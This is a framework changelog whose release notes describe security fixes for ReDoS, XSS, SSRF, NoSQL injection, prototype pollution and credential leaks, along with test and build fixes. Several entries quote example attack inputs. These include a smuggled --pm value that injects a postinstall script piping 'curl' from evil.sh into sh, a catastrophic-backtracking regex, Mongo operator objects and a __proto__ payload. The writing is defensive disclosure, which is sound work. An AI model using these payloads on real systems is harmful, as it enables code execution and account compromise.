grep.Ops.grepcompiled a model-controlled pattern into aRegExpwith no length cap and ran it synchronously, per line, over every scanned file — a pattern like(a+)+$against an ordinary line could hang the process for an attacker-controlled or prompt-injected duration.grepnow rejects patterns over 200 characters and patterns matching a nested-quantifier heuristic ((x+)+,(x*)*,(x+)*,(x*)+-shaped groups) as a newWorkspacePolicyError(type: "unsafe-pattern") before compiling the regex, and skips (rather than tests) any line longer than 2000 characters to bound the worst-case backtracking cost of any single call.
- SecurityPoison-message DoS: an
EventConsumer.handle()that reliably throws was nack+requeued forever, with no retry cap and no dead-letter escape hatch — a single bad message could pin a consumer in a hot ack/nack loop indefinitely, starving every other message behind it (worse with low prefetch).prepareConsumerSubscription's catch now calls the channel's boundedctx.retry()instead of an unconditionalctx.nack(true), so redelivery is capped and the message is dead-lettered (if configured) or dropped with a loudlog.erroronce the cap is hit — never silently, and never forever - SecurityFixed the retry counter never advancing on the automatic (non-explicit) nack path (
RabbitMQChannel.subscribe's catch, used by any directchannel.subscribe(handler, { retry, deadLetter })caller whose handler throws instead of callingctx.retry()itself). It readx-retry-countfrom the _original_ message's headers and then plain-nack(msg, false, true)'d — which redelivers that same original message, so the header a developer'sretry.maxRetries/deadLetterdepended on never changed and the configured cap was silently never reached. Both the automatic path and the explicitctx.retry()path now share one bounded-retry routine that republishes with an incremented header, somaxRetries/deadLetterare honored regardless of which path a handler takes - SecurityBroker credentials no longer leak into thrown/logged connection errors.
username/passwordare now URI-encoded when building theamqp://URL (a reserved character like@/://in a generated secret previously produced a malformed URL whose parser error echoed the raw credential back), and any error surfaced fromconnect()— including one that embeds a caller-supplieduriwith credentials — hasuser:pass@redacted before it's re-thrown, so a connection failure can no longer put a plaintext broker password in front ofconsole.error/structured logging/an error tracker - DependenciesBumped
@mongez/eventsto^2.2.7(no breaking changes) and@mongez/reinforcementsto^4.0.1. The reinforcements major makesRandom.string/nanoid/id/token/uuidCSPRNG-backed (WebCrypto) and removesRandom.seed()support — audited this package's source and tests forRandom.seed(and for seeded/reproducible use ofRandom.*; none found, so no code changes were needed.
- FixedCloning a log entry for redaction no longer discards an
Error's own enumerable properties. Previously, configuringredactat all silently reduced every loggedErrortomessage/stack/name— dropping.codeand friends as an unadvertised side effect, and putting.config.headers.authorizationpermanently out of reach of any path pattern. Those properties are now carried through the clone (and censored by the key denylist above). AnErrorsubclass whose constructor takes a non-string argument also keeps itsmessageinstead of being rebuilt as an empty one. - FixedThe redaction clone no longer expands buffers, typed arrays,
Map,Set,Promise, orRegExpinto plain objects — matching what the code already documented. ABufferincontexthad been rebuilt as a multi-thousand-key index map. - SecuritySecrets are now redacted by default. This is a behavior change — logs that previously showed these values in cleartext will now show
[REDACTED]. Redaction used to be a _tool_ (redact.paths, entirely opt-in): unless an application configured it, apasswordincontext, anauthorizationheader, or anapiKeyon a loggedErrorreached every sink — console, log file, JSON log file, Sentry — verbatim. Protection existed only where every call site had been configured correctly, with no signal when one hadn't. It is now a _default_. - DependenciesBumped
@mongez/reinforcementsto^4.0.1. The major makesRandom.string/nanoid/id/token/uuidCSPRNG-backed (WebCrypto) and removesRandom.seed()support. This package usesRandom.string(32)only for the non-securitylogger-<id>instance identifier; audited forRandom.seed(with no hits, so no code changes were needed.
- Security
--pmis now validated against an allow-list (npm/yarn/pnpm/bun) before it reaches anything. Previously an arbitrary--pmstring flowed straight intospawn()as the executable to run _and_ was spliced verbatim into the generatedpackage.json's script text before that text is parsed as JSON — a crafted value (e.g.--pm='pnpm","postinstall":"curl${IFS}evil.sh|sh#') could inject apostinstallscript that the scaffolder's own automaticinstall()step would then execute, or invoke an arbitrary binary onPATHoutright.--yes/non-interactive scaffolds now reject any--pmoutside the allow-list and exit before the package manager is set, closing both sinks at the source; the interactive prompt was already safe (its options are drawn from the allow-list, never free text). - DependenciesBumped
@mongez/reinforcementsto^4.0.1(package dependency + project template). This is a major bump:Random.string/nanoid/id/token/uuidare now CSPRNG-backed (WebCrypto) and no longer honorRandom.seed(), and throw without WebCrypto available. Auditedcreate-warlock's own source and thetemplates/warlockscaffold forRandom.seed/Random.*usage — none found, no code changes required. - DependenciesProject template (
templates/warlock/package.json)@mongez/*deps bumped:@mongez/localizationto^3.4.7,@mongez/supportive-isto^2.1.4,@mongez/agent-kitto^1.2.1. - DependenciesProject template
@warlock.js/*deps were pinned at the stale4.0.119— rewritten to the current lockstep version4.15.0to match the published@warlock.js/*packages.
- SecurityDashboard stored XSS via
javascript:markdown links — fixed. The dashboard's markdown link renderer (mdInlineinui.html.ts) rewrotetextinto a live<a href>without validating the URL scheme, so ajavascript:URL embedded in captured trace content (span.input/span.outputundercaptureContent— i.e. prompt-injected model output or attacker-controlled tool results) became a stored XSS that fired when an operator clicked the link; the page's CSP (script-src 'unsafe-inline') permitsjavascript:URI execution and does not restrict top-level navigation, putting the in-page bearer token in reach. Link URLs are now checked against a scheme allowlist (http:,https:,mailto:, plus relative/anchor URLs) after normalizing the URL the way a browser will — attribute-entity decode, strip of ignored control chars/whitespace (java\tscript:), lowercase — and scheme-relative//hostlinks are rejected too; a rejected URL renders its label as plain text with nohrefat all. Regression-tested by executing the actual inlined client renderer againstjavascript:/data:/vbscript:payloads and their case/whitespace/entity obfuscations (ui.html.md-links.spec.ts) - SecurityDashboard token-handling hardening (3 residual findings from the same audit as the XSS above). None of these are exploitable on their own today, but each widened the blast radius of a future bug: - _Bearer token no longer a page-global._
ui.html.ts's client script keptTOKENas avarshared across its whole ~1000-line closure. It's now sealed inside its own inner IIFE that exposes only thefetchAuthedhelper — code elsewhere in that closure (present or future) can no longer read the raw token by name. - _Constant-time token comparison._serve.ts'sisAuthorizedcompared the header/query token with plain===, which short-circuits on the first differing byte and is a textbook timing side-channel — the one scenario the package's own docs call out as realistic (authTokenis required specifically when bound off-loopback, i.e. reachable over a network). Both the header and query-string checks now go throughcrypto.timingSafeEqualon length-checked, equal-length buffers. - _Token-in-URL narrowed to the one route that needs it._?token=is no longer accepted on the JSON API routes, only on the HTML page route. The page's own polling already re-sends the token as anAuthorizationheader (fixed in 4.8.2), so the only request that structurally _can't_ carry a header is the initial browser navigation that loads the HTML shell — that's the sole remaining query-string exposure, narrowing the token's footprint in access/proxy logs and browser history from every poll to one request.
- Security
fetch_urlandhttp_requestnow deny private-network targets by default and route through@warlock.js/ai's hardenedguardedFetchinstead of a local host check. PreviouslyallowHostswas the _only_ SSRF guardrail and it was opt-in — a bareai.tools.fetchUrl()/ai.tools.http()would fetch anyhttp(s)URL the model supplied, includinghttp://169.254.169.254/latest/meta-data/...,localhost, and RFC1918 addresses, and neither tool re-validated redirect targets, so even a configured allowlist could be 302'd into an internal endpoint. Both tools now issue every request through the core outbound policy, which by default refuses private / loopback / link-local / CGNAT / cloud-metadata addresses — resolving hostnames through DNS and checking every returned address, failing closed on resolution failure — and re-validates every redirectLocation(scheme, allowlist, private-IP deny) before following it, with a hop cap and cross-origin credential-header stripping. Blocks surface as the existing typed errors (WebToolErrortype: "denied-host",HttpPolicyErrortype: "host-not-allowed"), so agents still read them as{ error }data - SecurityNew
allowPrivateNetworkoption (defaultfalse) on both tools for the deliberate case of a tool that must call an internal service (e.g. a local dev server);allowHostsstill works and now also constrains redirect targets
- SecurityLogin credential lookups are no longer vulnerable to NoSQL operator injection.
authService.attemptLoginforwards the request's credential fields (e.g.email,phoneNumber) intoModel.first(...)to find the user, so a caller that passed request JSON straight through could smuggle a MongoDB operator object —{ email: { $ne: null } },{ email: { $regex: "^a" } }— into the user-lookup filter, breaking its intended equality semantics and enabling account enumeration / targeted-lookup attacks (the password is still verified separately with bcrypt, so this was never a full bypass on its own). The fix lands in@warlock.js/cascade4.16.0, whose query builder now rejects$-prefixed keys in equality position (UnsafeFilterError); becauseattemptLogin's lookup routes through cascade, upgrading the family to 4.16.0 closes this with no change to your auth code. If you build user lookups by hand, keep passing scalars — or use the explicit operator API — rather than forwarding raw request objects. - DependenciesBumped
@mongez/eventsto^2.2.7(no breaking changes) and@mongez/reinforcementsto^4.0.1. The reinforcements major makesRandom.string/nanoid/id/token/uuidCSPRNG-backed (WebCrypto) and removesRandom.seed()support. This package callsRandom.string(32)(devicefamilyIdfallback) andRandom.token(32)(JWT secret generation) — both are exactly the security-sensitive uses the CSPRNG backing is meant to strengthen, and neither relied on seeding; audited forRandom.seed(with no hits, so no code changes were needed.
- SecurityRenamed
safeHtmlMutator/.safeHtml()tostripTagsMutator/.stripTags(). The old name implied XSS safety it never provided — the implementation is a naive<[^>]*>regex, not an HTML parser, and can be defeated by malformed/nested markup or content re-introduced later in a pipeline. A developer buildingv.string().safeHtml()for user-supplied rich text was liable to treat the output as pre-sanitized and skip further output encoding, opening a stored/reflected XSS path. The new names and doc comments make clear this is tag-stripping only; use a real parser-based sanitizer (DOMPurify / sanitize-html) for untrusted rich text.safeHtmlMutatorand.safeHtml()remain as deprecated aliases (same behavior,@deprecatedJSDoc pointing at the new names) so existing callers do not break. - DependenciesBumped
@mongez/supportive-isto^2.1.4(no breaking changes) and@mongez/reinforcementsto^4.0.1. The reinforcements major makesRandom.string/nanoid/id/token/uuidCSPRNG-backed (WebCrypto) and removesRandom.seed()support — audited this package's source and tests forRandom.seed(and for seeded/reproducible use ofRandom.*; none found, so no code changes were needed.
- SecurityInstance-level checks (a
resourcesupplied tocheck/authorize) that match an RBAC grant but have no registered ABAC policy now emit a one-timelog.warnnaming the permission, instead of silently falling back to the RBAC grant alone — a typo'd permission name or a forgottenimport "./policies"side-effect previously degraded a resource-scoped check to a class-level one with no runtime signal, a silent IDOR footgun. Fail-closed/fail-open semantics are unchanged everywhere else; this is visibility only. Added an opt-instrictPolicies: trueaccess config flag that throwsAccessConfigErrorinstead of warning, for apps that want the gap to fail the request/boot rather than just log.
- Security
update()andset()now drop__proto__/constructor/prototypekeys instead of merging them.update()merged withObject.assign(store, updates), which does not create a__proto__property — it invokes the inherited setter and reparents the store. An app that forwards request-shaped data into a context (tenantContext.update(req.body), orset(key, value)with a caller-supplied key — both close to patterns the README shows) therefore handed a body of{"__proto__":{"isAdmin":true}}a way to polluteObject.prototypefor the whole process. Because the polluted object is a _shared_ context store, that turns an app-level slip into a cross-request, cross-tenant authorization problem: every later lookup of a missing property anywhere in the process resolves through the attacker's object
- Security
fs.files.mergeJson()/File#mergeJson()now drop__proto__/constructor/prototypekeys from both sides of the merge, at every depth. The deep-merge path assigned withoutput[key] = value, and for a key of__proto__that is not a property write — it invokes the inherited setter and reparents the merged object.JSON.parseis itself safe but happily produces an own property with that name, somergeJson(configPath, requestBody)— the natural shape for a "PATCH this JSON config" endpoint — let a partial of{"__proto__":{"isAdmin":true}}poison the object being written, and any property lookup against the in-memory result resolved through the attacker's data
- Security
BaseNotificationsRepository.createForno longer lets the channel payload override server-owned row keys. The payload was spread after the trustedrecipientId, so an untyped caller (e.g. a payload assembled from request JSON, ornotify.channel(name).send) carrying arecipientIdkey — or the model's physical recipient column name — could write the notification into another recipient's inbox, contradicting the recipient-scoping guarantee. Server-owned keys (id,recipientId,tenant,readAt,isRead, and their resolved physical columns) are now stripped from the payload at runtime and the trusted arguments are applied last; legitimate fields (type,title,body,payload,idempotencyKey) pass through unchanged.createManyForinherits the fix.
4.15.0August 16, 2026
@warlock.js/ai lands a batch of type + mock-SDK fixes: ctx.run now stringifies a non-string payload, ToolMeta keys are optional, new Error(msg, { cause }) compiles, and the mock honours usage/deltas. @warlock.js/herald fixes a non-idempotent lazy amqplib loader that could race concurrent loads and silently poison test isolation.
Full release notes or run npx warlock release-notes.
- Changed
MockModelResponse.usageis a newMockUsagetype rather than the emittedUsage. The script is an input, not a result:MockModel.buildResponsehonours onlyinput/output/cachedTokens, so a fixture declaringcostorreasoningTokenswas silently discarded while the type promised otherwise.totalis optional and documented as derived, because the mock recomputes it asinput + output— an existing spec deliberately asserts that a mismatched scriptedtotalis overridden - ChangedThe mock honours
deltas. Fixtures already declared the field; the mock ignored it - Changed
MockSDK.model()declares itsMockModelreturn type — it always returned one, socallHistoryis now reachable without a cast.MockUsageis exported from the barrel - Fixed
ctx.run(agent, payload)now stringifies a non-string payload, as it always claimed to.coerceInlineInputinsrc/supervisor/execution.tsgated on!("signature" in executable)to decide whether the target was an agent — but every member ofSupervisableExecutable(AgentContract,WorkflowInstance,SupervisorContract) declaressignature, so the condition was permanently false and the coercion never ran. A supervisor intent callingctx.run(someAgent, { question: "why", attempt: 2 })handed the raw object toagent.execute(), where it landed as the user messagecontent—[object Object]in the prompt, or a provider-side payload rejection, depending on the adapter. The check now discriminates onisAnonymous, the one member unique toAgentContract. A regression test covers it; the old guard fails it withExpected: "string" / Received: "object". The unreferencedisSupervisor()duck-type helper — whose own JSDoc admitted it could not tell a supervisor from a workflow — is removed - Fixed
ToolMetano longer forceslabelandactionLabelon every tool that suppliesmeta. It was declared asRecord<"label" | "actionLabel" | (string & {}), unknown>, which makes both keys required, not optional — so any tool author who set one metadata field was made to set all of them. Now an optional-key shape with an index signature - Fixed
ToolConfig.actionis checked bivariantly, via aToolActionResolver<T>method-in-wrapper. The strictly contravariant parameter position rejected heterogeneous tool arrays that work correctly at runtime - Fixed
new Error(msg, { cause })compiles.tsconfig.jsondeclared nolib, so it inherited thetargetdefault of ES2020, whereErrorOptionsdoes not exist.libis now["ES2022"]; this also resolves theArray.atandString.replaceAllerrors. Emit is unchanged —targetis still ES2020. Notesrc/skills/sources/url-source.ts:122was not a defect: thecausewas always passed at runtime, the compiler simply had no type for it - Fixed
TeamMemberValueaccepts the callback member form (IntentCallback), which has always worked at runtime and was only rejected by the type - Fixed
PlanSchemano longer erases~standard.jsonSchemafrom its return type
- FixedThe RabbitMQ driver's lazy
amqplibloader was not idempotent under concurrent callers. It cached the resolved module in a module-level binding but nothing guarded the load itself, so two loads could be in flight at the same time and the last one to settle won the binding. The eager, unawaitedloadAmqplibModule()call at module scope was one of those callers by construction — it started a load nobody was waiting on, which then raced the awaited call fromconnect(). That eager call has been removed:connect()already awaits the loader, so it bought nothing but the race. The loader now memoizes the in-flight promise itself, so the first caller starts theimport()and every later caller awaits that same one - FixedNo user-visible misbehaviour is known in production — both racing paths resolve the same real
amqplib, so whichever won, callers got the module they expected. The observable damage was in test isolation: when a test was aborted mid-await import(...), the racing loads could leave the binding holding the realamqplibwhile the test file'svi.mock("amqplib")was still active, so every later test in that file silently bypassed the mock and opened a real socket. Proven by instrumentation — the driver held a liveChannelModelon::1:5672whileimport("amqplib")inside the same test still returned the mock, which is how a green test could be green for the wrong reason - FixedVerified by a timeout sweep, not by a passing suite. The full suite passed both before and after (13 files / 137 tests), because the fault only surfaces when the first test is starved of time. Running
tests/connect-to-broker.test.tsat--testTimeout=3000and4000previously timed out the first test _and_ tookwraps a connection failure with the driver namedown with it, failing in ~50 ms withpromise resolved "Broker{…}" instead of rejecting— the mock was gone. With the loader fixed, that test passes at every timeout even while the first test still times out: starving one test can no longer poison the next - FixedThe first test also paid a cold-transform cost inside its own timed body, since
connectToBrokerdynamically imports the driver, which pulls in@warlock.js/sealand@warlock.js/loggeras raw TS source. That work moved to abeforeAllwarm-up. This is a test-timing change only and carries none of the correctness weight above — the loader fix stands on its own without it
- Added
GeminiImageModel— a Gemini-native image path overai.models.generateContent(newsrc/gemini-image.ts, exported asGeminiImageModel). RequestsresponseModalities: ["TEXT", "IMAGE"](override the list verbatim withoptions.responseModalities), mapsaspectRatio/imageSize/personGenerationonto Gemini'sconfig.imageConfig, and reshapes inline image parts that come back into the sameGeneratedImage[]({ type: "base64", base64, mediaType },image/pngfallback) the Imagen path emits — soai.image()'s envelope is unchanged for callers - AddedToken usage is passed through on the Gemini image path instead of hard-zeroed. Whatever
usageMetadataGoogle attaches becomesusage.input/output/total(pluscachedTokens/reasoningTokenswhen reported> 0); only an absent block collapses to zeros. The Imagen path stays a flat zero because Imagen reports no tokens at all. Price these models with{ input, output }rather than{ perImage }, and check the first liveusage— whether these models report tokens is not confirmed here. The mapping is now a sharedapplyGoogleUsageutil used by both the chat model and the image model, so one rule decides what a Gemini token report means package-wide - AddedA response with no image part is never a silent empty success: a blocked prompt (
promptFeedback.blockReason) or a safety/policyfinishReason(SAFETY,IMAGE_SAFETY,PROHIBITED_CONTENT,IMAGE_PROHIBITED_CONTENT,RECITATION,IMAGE_RECITATION,BLOCKLIST,SPII) throwsContentFilterErrorcarrying the reason; a text-only answer throwsProviderErrorquoting the text the model returned; anything else throwsProviderErrornaming the part count and finish reason - Changed
@google/genaimoves from^2.4.0to^2.17.1(2.17.1 is what installs today). The Gemini image path does not depend on the bump —models.generateContentexists in both — but the older range predates the deprecation notice above and predatesai.interactions, so staying on it meant documenting an SDK surface the package could not reach. The 11 suites / 149 specs in this package pass unchanged on 2.17.1. Note this re-resolved the whole workspace lockfile, not just this package's dependency - Changed
GoogleSDK.image()returnsGeminiImageModelfor agemini-id. This is routing, not validation — no id is rejected locally: an id matching neither family takes thegenerateImagesroute, the only route that existed before, so every id that reached Google before still reaches Google the same way and still fails (or succeeds) at the provider - Fixed
google.image({ name: "gemini-…" })no longer hits the endpoint that 404s it.ai.models.generateImagesroutes to{model}:predict(generateImages→generateImagesInternal→formatMap('{model}:predict', …)in@google/genai's bundle), which does not serve the Gemini image models — the call came back404 models/… is not found for API version v1beta, or is not supported for predict.GoogleSDK.image()now picks the transport from the id: agemini-id (with an optionalmodels/resource prefix) gets the newgenerateContentimplementation, everything else keepsGoogleImageModel/generateImages. Scope of the proof: two levels. Measured here — on the new transport such an id got as far as a quota error (HTTP 429) instead of the 404, which establishes that the endpoint accepts the id. Reported by the maintainer — once billing was enabled on the project, the path returned an image end-to-end from an application running a locally linked build of this package. No test in this package calls Google; the suite proves the request shape and the error mapping, not the round trip - Deprecated**Google has deprecated
generateImages, the transport theimagen-*path still uses.** Verbatim from the@google/genairuntime warning: _"The generateImages method is deprecated and will be removed in the next major release (not before Jan. 1 2027). Please use the generateContent method with image models instead. See https://ai.google.dev/gemini-api/docs/deprecations#imagen-models and https://docs.cloud.google.com/gemini-enterprise-agent-platform/models/capabilities/image-generation#generate-images"_ (editImagecarries the same notice.) Nothing breaks today and the Imagen path is unchanged, but it is on a clock: new image work should prefer agemini-id. The warning is emitted by@google/genai≥ 2.17; with the bump below, this package now prints it whenever theimagen-*path is used
- Changed
openaimoves from^6.34.0to^7.4.0. The runtime was unaffected: the full suite — 13 files / 208 tests — passed on 7.4.0 _before_ any of the type fixes below were made, so nothing about the wire shape this adapter sends or the responses it reads changed across the major. Every fix in this release is a compile-time one. - Changed
OpenAI.Images.ImageGenerateParamsBaseis no longer reachable upstream — openai 7 split image generation intoImageGenerateParamsNonStreaming/ImageGenerateParamsStreamingand stopped re-exporting the sharedBaseinterface from theImagesnamespace.image.tsnow sources itsquality/output_format/backgroundvalue types fromImageGenerateParamsNonStreaming, which is what the request body was already typed as and what the non-streamingimages.generateoverload accepts. The three fields are inherited fromBaseunchanged, so the accepted values are identical. - Changed
ChatCompletionToolbecame a union (ChatCompletionFunctionTool | ChatCompletionCustomTool) now that Chat Completions carries custom tools..functionis no longer reachable without thetypediscriminant, so the tool-conversion specs narrow ontype === "function"and throw on anything else — a custom-tool regression fails loudly rather than silently skipping the assertion it used to make. - Fixed
OpenAISDKConfig.provideris a usablestringagain. openai 7 added its ownprovider?: Providerkey toClientOptions— an opaque branded object minted bycreateProvider()— and our intersection collapsed the field toProvider & string, a type no string literal can inhabit. The config now omits the upstream key (Omit<ClientOptions, "provider">) before declaring its own label. No behavior change: the constructor already peeledprovideroff and never forwarded it to the OpenAI client.
4.14.0August 16, 2026
@warlock.js/core adds teardownTest() to close a framework a test brought up and scopes test-lifecycle state to the worker runtime instead of the module. Two breaking setupTest changes: an explicit { connectors } now wins over tests.connectors config, and a conflicting concurrent call rejects instead of being silently ignored.
Full release notes or run npx warlock release-notes.
- Added
teardownTest()— the other half of the pair.setupTesthas shipped without a counterpart since it was introduced: there was no supported way to close the framework a test file brought up, and the only "reset" available was a module flag that proved nothing about whether ports, sockets, pools or timers had actually closed - ChangedBREAKING — an explicit
setupTest({ connectors })now wins overtests.connectorsconfig. The order wasconfig > parameter > true; it is nowexplicit parameter > config > true - ChangedBREAKING — a conflicting
setupTestcall rejects instead of being ignored. While a setup is starting or ready, a call with _different_ effective options now rejects with an error naming both the active and the requested selection. The same options remain a no-op, and concurrent identical calls share one startup - ChangedLifecycle state is now scoped to the worker runtime instead of the module.
isSetupCompletewas a module-level variable, and Vitest rebuilds the setup module's registry between test files while the worker process or thread keeps running — so the flag reset in exactly the situation where live DB connections, pools and timers survive - FixedA stranded setup no longer exhausts the heap. A lifecycle left in the
startingstate sentteardownTest's wait-then-re-enter path into unbounded recursion —FATAL ERROR: JavaScript heap out of memoryat 4 GB, killing the worker with 26 tests in that run never executed. It was found while proving the state machine, not reported by a user, and it would have shipped
- Changed
openai.image({ name }),openai.speech({ name })andopenai.transcribe({ name })no longer reject an unknown model id at construction — the id is forwarded to OpenAI as given, so an id OpenAI does not serve now fails as a typed provider error instead of a localInvalidRequestError. - RemovedBREAKING —
isOpenAIImageModel()andOPENAI_IMAGE_MODEL_PREFIXESare no longer exported; theknown-image-modelsmodule is deleted. Nothing in the adapter read them once the construction-time gate went away, so they were a public list of model ids that enforced nothing and went stale on OpenAI's release schedule, not this package's. Import them from nowhere — branch on your own id list if you need one. - RemovedBREAKING —
isOpenAISpeechModel()andisOpenAITranscriptionModel()are no longer exported either, for the same reason. Once their construction-time gates went away nothing in the adapter read them, leaving two more public model-id lists that enforced nothing. No@warlock.js/ai-*adapter validates a model id locally, so the package no longer ships a helper that implies otherwise — branch on your own id list if you need one.
- Changed
google.image({ name })no longer rejects a non-imagen-*model id at construction — the id is passed through toai.models.generateImagesas given, so an id Google does not serve now fails as a typed provider error instead of a localInvalidRequestError - RemovedBREAKING —
isGoogleImageModel()andGOOGLE_IMAGE_MODEL_PREFIXESare gone from the public API. Both were dropped from the package entrypoint and the module deleted; importing either from@warlock.js/ai-googleis now a compile error. With the construction-time guard gone (below) they enforced nothing and only invited callers to re-implement a model allow-list the framework does not own — a model id is the provider's to rule on, so there is nothing left for a local list to say. Callers that branched on the Imagen family should match on the id themselves (name.startsWith("imagen-")) or, better, stop branching and let the provider answer
4.13.0August 12, 2026
@warlock.js/core adds build.singleBundle for a single runnable node dist/app.js, makes @warlock.js/core/tests and @warlock.js/core/vite real importable subpaths, and fixes setupTest() crashing in a project without a tests config plus the test request helpers dropping falsy JSON bodies (false/0/""/null).
Full release notes or run npx warlock release-notes.
- Added
build.singleBundle— one file you can run withnode dist/app.js. The default build keeps dependencies as realimportspecifiers resolved fromnode_modules, which is right when you deploy the folder. Producing a single self-contained file previously meant knowing to setpackages: "bundle"andsplitting: false, and it still did not work - Added
@warlock.js/core/testsand@warlock.js/core/viteare real subpaths, with their own build entries andexportskeys — the first version in which those helpers are addressable at all./testscarries the 13 documented test helpers;/vitecarrieslowerStage3Decorators - Fixed
setupTest()no longer crashes in a project that has nosrc/config/tests.ts.config.get("tests")resolves an absent key tonull, and the result was dereferenced — so the very pathwarlock add testgenerates threwCannot read properties of null (reading 'connectors')before running a single test.setupTest()with no arguments at all threw one step earlier still, on a destructured parameter with no default - FixedThe request helpers send falsy JSON bodies.
testPost,testPutandtestPatchusedbody ? JSON.stringify(body) : undefined, sofalse,0,""andnull— all legal JSON documents — were sent as no body at all. Only an omitted argument now means "no body" - FixedShutdown survives a throwing log channel. A connector whose
shutdown()failed was reported throughlog.error(...)from inside the catch block — andLogger.log()hands each entry tochannel.log()with no isolation, so a channel that throws synchronously (a misconfigured transport, an unserialisable payload) made that report reject. The rejection escapedshutdown()entirely, and the consequences went well past a missing log line:log.flush()never ran, so every buffered entry from the whole run was lost; the remaining connectors were never torn down; andprocess.exit(0)— the linegracefulShutdownruns onceshutdown()resolves — was never reached, leaving the process alive on the handles those connectors still held - FixedA test server that fails to start no longer leaves half of itself running.
startHttpTestServer()publishes the resolved port before the late connector phase and setsisServerRunningonly on its last line, so a failure in between left live early-phase connectors and a published port pointing at a server that never came up — whilestopHttpTestServer()inglobalTeardownreported _"No server to stop"_ and walked away from them. Startup now unwinds what it started, always withdraws the port and resets its state. ⚠ The error you get back is unchanged — it always was. Startup had nocatchat all, so the original failure already propagated correctly; what was missing was the cleanup, and the newcatchexists only to run it. A failure _during_ that cleanup is reported and never substituted for the cause, which is the one propagation guarantee the wrapper had to be careful not to break - Fixed
startHttpTestServer({ port: 0 })is refused with an instruction instead of half-working.0is the OS's "pick a free one" idiom, and the test server cannot honour it: the preflight would bind some unrelated ephemeral port and pass without proving anything, and nothing publishable exists afterwards —HttpConnector.start()records the port it asked for, not the one Fastify bound. Accepting it silently meantgetTestServerUrl()resolved0through its own config fallback and every worker request went tohttp://host:0, where nothing listens. The error names the fix: pass an explicit port, or sethttp.port - Fixed⚠ BREAKING — the package entry no longer re-exports the CLI, the dev server, the test helpers or the Vite integration. Five
export *lines are gone from@warlock.js/core's root:./cli,./dev-server/files-orchestrator,./dev-server/health-checker,./testsand./vite - Fixed⚠ BREAKING — the CORS allow-list in
http.corsnow actually applies. The framework's defaults were spread after your configuration, so{ origin: "*", methods: "*" }overwrote whatever you set.http.corshas never had any effect, in any release up to 4.12.0 — an app that configured an allow-list still answered every origin. Your configuration now wins - Fixed⚠ BREAKING —
http.bodyLimitno longer defaults to 200 GB. An app that configures nothing now gets Fastify's own 1 MB limit. The previous default did not merely allow large bodies, it replaced a protection Fastify provides: an unauthenticated endpoint accepted a 5 MB body and ran application logic on it where bare Fastify would have answered413 - Fixed⚠ BREAKING —
http.trustProxynow defaults tofalse.request.ipwas derived from the client-suppliedX-Forwarded-Forheader by default, and@fastify/rate-limitkeys its buckets onrequest.ip— so a client sending a differentX-Forwarded-Foron each request got a fresh rate-limit bucket every time. Any deployment not behind a proxy that strips the header had bypassable rate limiting, and the same applied to per-IP lockouts and audit logs - FixedPer-route
serverOptionsare no longer discarded by the dev server.scanDevServerregisters wildcard routes and dispatches per request, so it had no per-route registration slot and droppedserverOptionsentirely. A route declaringserverOptions.onRequest— the documented way to run before body parsing — worked in production and silently never ran in dev, which is the only mode most teams run.route.rateLimitwas dropped the same way, since it rides in the same options object - FixedThe dev server no longer rebuilds its entire route registry on every request. A comment claimed the registry was initialised "once" and pointed at a
rebuildRouteRegistryfunction that does not exist; the code sat inside the per-request handler, re-registering every route on every hit — androuter.any()routes expand into seven registrations each. It is now built once and rebuilt when the route table changes - FixedThe dev dispatcher logs through the framework logger instead of
console.log(error), with the request method and url attached - FixedA bundled production build no longer succeeds and then dies at startup. Setting
packages: "bundle"produced a clean build whose process failed immediately withError: Dynamic require of "node:assert" is not supported. Warlock's output is an ES module; bundled CommonJS dependencies callrequire(...)and read__dirnameto locate their own assets, and neither exists in an ES module, so the bundler substituted a stub that throws. The only fix available to an application author was to hand-write an esbuildbannerrecreatingrequireviacreateRequire(import.meta.url)— esbuild internals no app should need to know
4.12.0August 11, 2026
@warlock.js/core adds warlock migrate --pending — what will run next, in execution order, with exit codes you can gate a deploy on — and stops two CLI flags doing the opposite of what they say: migrate --rollback=false dropped every table, and generate.module --force=false overwrote your files, because boolean options were parsed as raw strings and "false" is truthy. @warlock.js/auth closes a token-expiry hole: an unparseable expiresIn minted a JWT with no exp claim, such a token was then accepted forever, and the rows were never purged — tokens are now rejected at issue and at verification, and auth:purge-never-expiring finds and revokes the ones already in your database. @warlock.js/core also fixes Image and renderReact racing their own optional-dependency imports, where a constructor could run before sharp or react had loaded and fail with not a function.
Full release notes or run npx warlock release-notes.
- Added
warlock migrate --pending— what will run next, in the order it will run.migratecould report what had already run (--list) and what files existed on disk (--all), but not the one thing an operator asks before a schema change against a live database. The pending set was already computed on every migrate run; it simply had no read-only exit - Changed
migrate's preload block no longer declaresenv: true. The flag has done nothing since env began loading for every command that declares a preload block; it was decoration, and the test suite now asserts its absence so it is not re-added by someone reading the still-deprecated type - ChangedThe package now declares its own test runner and a
testscript.@warlock.js/coreshipped a maintainedvitest.config.ts— aliasing eight sibling packages to their sources — with nodevDependencieskey at all and no way to invoke it. Its suite was reachable only by knowing to typenpx vitest, which resolves whatever happens to exist in the tree rather than anything the manifest asked for. The runner is pinned to an exact version, not a range: it moved from 4.1.8 to 4.1.10 mid-development on an unrelated install, silently, and a suite whose runner can change underneath it proves less than it appears to - FixedA build artifact that names an entry point it does not contain is now refused before it can be packed. An interrupted build leaves a directory that looks finished —
package.json,README,CHANGELOG,bin/,skills/— and holds no compiled code at all. Nineteen existed in this tree at once, and nothing in the release path noticed: the only related guard compares modification times, so a hollow directory with a freshly written manifest is _newer than source_ and passes, and it runs solely on the artifact-reuse path, which is not how the hollow directories were produced - FixedThe production acceptance gate no longer inherits the environment it is supposed to be testing.
run-pnpm-acceptance.mjsspawned every child withenv: { ...process.env }and set noNODE_ENV. It exercised the production path only because the shell it was written in happened to carryNODE_ENV=production; on a clean checkout, a new contributor's machine, or CI, the same gate boots the app in development — and does not fail, it passes while testing something other than the thing it is named after. That is the worst outcome available to a gate, and it sat underneath the proof for 4.11.0's headline fix - Fixed
warlock migrate --rollback=falseno longer drops every table. CLI options were parsed as raw strings and nothing ever coerced them:--rollback=falsereached the action as the string"false",if (rollback)saw a truthy value, and the run rolled back _everything_. The declaredtype: "boolean"on the option was decorative — used only to render help. The same shape existed on every boolean option, includingwarlock drop.tables --force=false, where it turned a confirmation prompt into an unattended drop - Fixed
warlock generate.module users --force=falseno longer overwrites your files. The coercion above is opt-in by design — it applies only to options a command declarestype: "boolean", so a string option whose value is genuinely the wordfalsesurvives. The generate family andaddnever carried that declaration, so the fix reached none of them and both faces of the defect stayed live on the commands most likely to be run against existing source - Fixed
